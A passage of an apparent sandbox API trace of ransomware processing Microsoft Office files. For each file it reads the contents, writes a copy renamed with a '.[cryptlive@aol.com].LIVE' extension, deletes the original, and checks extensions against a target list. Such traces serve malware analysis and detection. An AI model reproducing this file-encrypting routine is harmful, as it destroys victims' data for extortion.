GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=48488) returned 1 [0146.040] CloseHandle (hObject=0x3a0) returned 1 [0146.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 0x20 [0146.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.073] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.073] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.074] GetLastError () returned 0x0 [0146.074] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbd68, lpOverlapped=0x0) returned 1 [0146.090] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbd70, lpOverlapped=0x0) returned 1 [0146.092] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.092] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.092] SetEndOfFile (hFile=0x390) returned 1 [0146.092] CloseHandle (hObject=0x390) returned 1 [0146.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.092] SetEndOfFile (hFile=0x3a0) returned 1 [0146.095] CloseHandle (hObject=0x3a0) returned 1 [0146.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 1 [0146.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.096] lstrlenW (lpString=".doc") returned 4 [0146.096] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.096] lstrlenW (lpString=".docx") returned 5 [0146.096] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0146.096] lstrlenW (lpString=".pdf") returned 4 [0146.096] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.096] lstrlenW (lpString=".xls") returned 4 [0146.096] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.096] lstrlenW (lpString=".xlsx") returned 5 [0146.096] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0146.096] lstrlenW (lpString=".ppt") returned 4 [0146.096] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.096] lstrlenW (lpString=".zip") returned 4 [0146.096] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.096] lstrlenW (lpString=".rar") returned 4 [0146.096] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.096] lstrlenW (lpString=".bz2") returned 4 [0146.096] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString=".7z") returned 3 [0146.097] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".dbf") returned 4 [0146.097] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".1cd") returned 4 [0146.097] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".jpg") returned 4 [0146.097] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".doc") returned 4 [0146.097] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString=".docx") returned 5 [0146.097] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0146.097] lstrlenW (lpString=".pdf") returned 4 [0146.097] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString=".xls") returned 4 [0146.097] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.097] lstrlenW (lpString=".xlsx") returned 5 [0146.097] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0146.097] lstrlenW (lpString=".ppt") returned 4 [0146.097] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".zip") returned 4 [0146.097] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.097] lstrlenW (lpString=".rar") returned 4 [0146.097] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString=".bz2") returned 4 [0146.097] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.097] lstrlenW (lpString=".7z") returned 3 [0146.097] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.097] lstrlenW (lpString=".dbf") returned 4 [0146.098] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.098] lstrlenW (lpString=".1cd") returned 4 [0146.098] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0146.098] lstrlenW (lpString=".jpg") returned 4 [0146.098] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.098] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0146.098] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0146.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.099] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=38768) returned 1 [0146.099] CloseHandle (hObject=0x3a0) returned 1 [0146.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 0x20 [0146.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.100] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.100] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.102] GetLastError () returned 0x0 [0146.102] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x9770, lpOverlapped=0x0) returned 1 [0146.107] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0146.109] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.109] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.109] SetEndOfFile (hFile=0x390) returned 1 [0146.109] CloseHandle (hObject=0x390) returned 1 [0146.109] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.109] SetEndOfFile (hFile=0x3a0) returned 1 [0146.112] CloseHandle (hObject=0x3a0) returned 1 [0146.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 1 [0146.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.114] lstrlenW (lpString=".doc") returned 4 [0146.114] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.114] lstrlenW (lpString=".docx") returned 5 [0146.114] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0146.114] lstrlenW (lpString=".pdf") returned 4 [0146.114] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.114] lstrlenW (lpString=".xls") returned 4 [0146.114] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.114] lstrlenW (lpString=".xlsx") returned 5 [0146.114] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0146.114] lstrlenW (lpString=".ppt") returned 4 [0146.114] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.114] lstrlenW (lpString=".zip") returned 4 [0146.114] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.115] lstrlenW (lpString=".rar") returned 4 [0146.115] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString=".bz2") returned 4 [0146.115] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString=".7z") returned 3 [0146.115] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString=".dbf") returned 4 [0146.115] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString=".1cd") returned 4 [0146.115] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString=".jpg") returned 4 [0146.115] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString=".doc") returned 4 [0146.115] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString=".docx") returned 5 [0146.115] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0146.115] lstrlenW (lpString=".pdf") returned 4 [0146.115] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString=".xls") returned 4 [0146.115] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.115] lstrlenW (lpString=".xlsx") returned 5 [0146.115] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0146.115] lstrlenW (lpString=".ppt") returned 4 [0146.115] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.115] lstrlenW (lpString=".zip") returned 4 [0146.115] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.115] lstrlenW (lpString=".rar") returned 4 [0146.115] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.115] lstrlenW (lpString=".bz2") returned 4 [0146.115] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.116] lstrlenW (lpString=".7z") returned 3 [0146.116] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.116] lstrlenW (lpString=".dbf") returned 4 [0146.116] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.116] lstrlenW (lpString=".1cd") returned 4 [0146.116] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0146.116] lstrlenW (lpString=".jpg") returned 4 [0146.116] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.116] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.116] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0146.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.118] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=320928) returned 1 [0146.118] CloseHandle (hObject=0x390) returned 1 [0146.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll")) returned 0x20 [0146.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.119] lstrlenW (lpString=".doc") returned 4 [0146.119] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString=".docx") returned 5 [0146.119] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.119] lstrlenW (lpString=".pdf") returned 4 [0146.119] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString=".xls") returned 4 [0146.119] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString=".xlsx") returned 5 [0146.119] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.119] lstrlenW (lpString=".ppt") returned 4 [0146.119] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.119] lstrlenW (lpString=".zip") returned 4 [0146.119] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString=".rar") returned 4 [0146.119] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.119] lstrlenW (lpString=".bz2") returned 4 [0146.119] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.119] lstrlenW (lpString=".7z") returned 3 [0146.120] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString=".dbf") returned 4 [0146.120] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString=".1cd") returned 4 [0146.120] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString=".jpg") returned 4 [0146.120] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString=".doc") returned 4 [0146.120] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.120] lstrlenW (lpString=".docx") returned 5 [0146.120] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.120] lstrlenW (lpString=".pdf") returned 4 [0146.120] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.120] lstrlenW (lpString=".xls") returned 4 [0146.120] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.120] lstrlenW (lpString=".xlsx") returned 5 [0146.120] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.120] lstrlenW (lpString=".ppt") returned 4 [0146.120] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.120] lstrlenW (lpString=".zip") returned 4 [0146.121] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.121] lstrlenW (lpString=".rar") returned 4 [0146.121] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.121] lstrlenW (lpString=".bz2") returned 4 [0146.121] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.121] lstrlenW (lpString=".7z") returned 3 [0146.121] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.121] lstrlenW (lpString=".dbf") returned 4 [0146.121] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.121] lstrlenW (lpString=".1cd") returned 4 [0146.121] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0146.121] lstrlenW (lpString=".jpg") returned 4 [0146.121] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.121] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0146.121] lstrlenW (lpString="SPACE.VRD") returned 9 [0146.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.122] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1604) returned 1 [0146.122] CloseHandle (hObject=0x390) returned 1 [0146.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 0x20 [0146.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0146.123] GetLastError () returned 0x0 [0146.123] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x644, lpOverlapped=0x0) returned 1 [0146.196] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x650, lpOverlapped=0x0) returned 1 [0146.198] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.198] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0146.198] SetEndOfFile (hFile=0x3cc) returned 1 [0146.198] CloseHandle (hObject=0x3cc) returned 1 [0146.198] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.198] SetEndOfFile (hFile=0x390) returned 1 [0146.201] CloseHandle (hObject=0x390) returned 1 [0146.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 1 [0146.234] lstrlenW (lpString="C:\\Program Files\\Microsoft 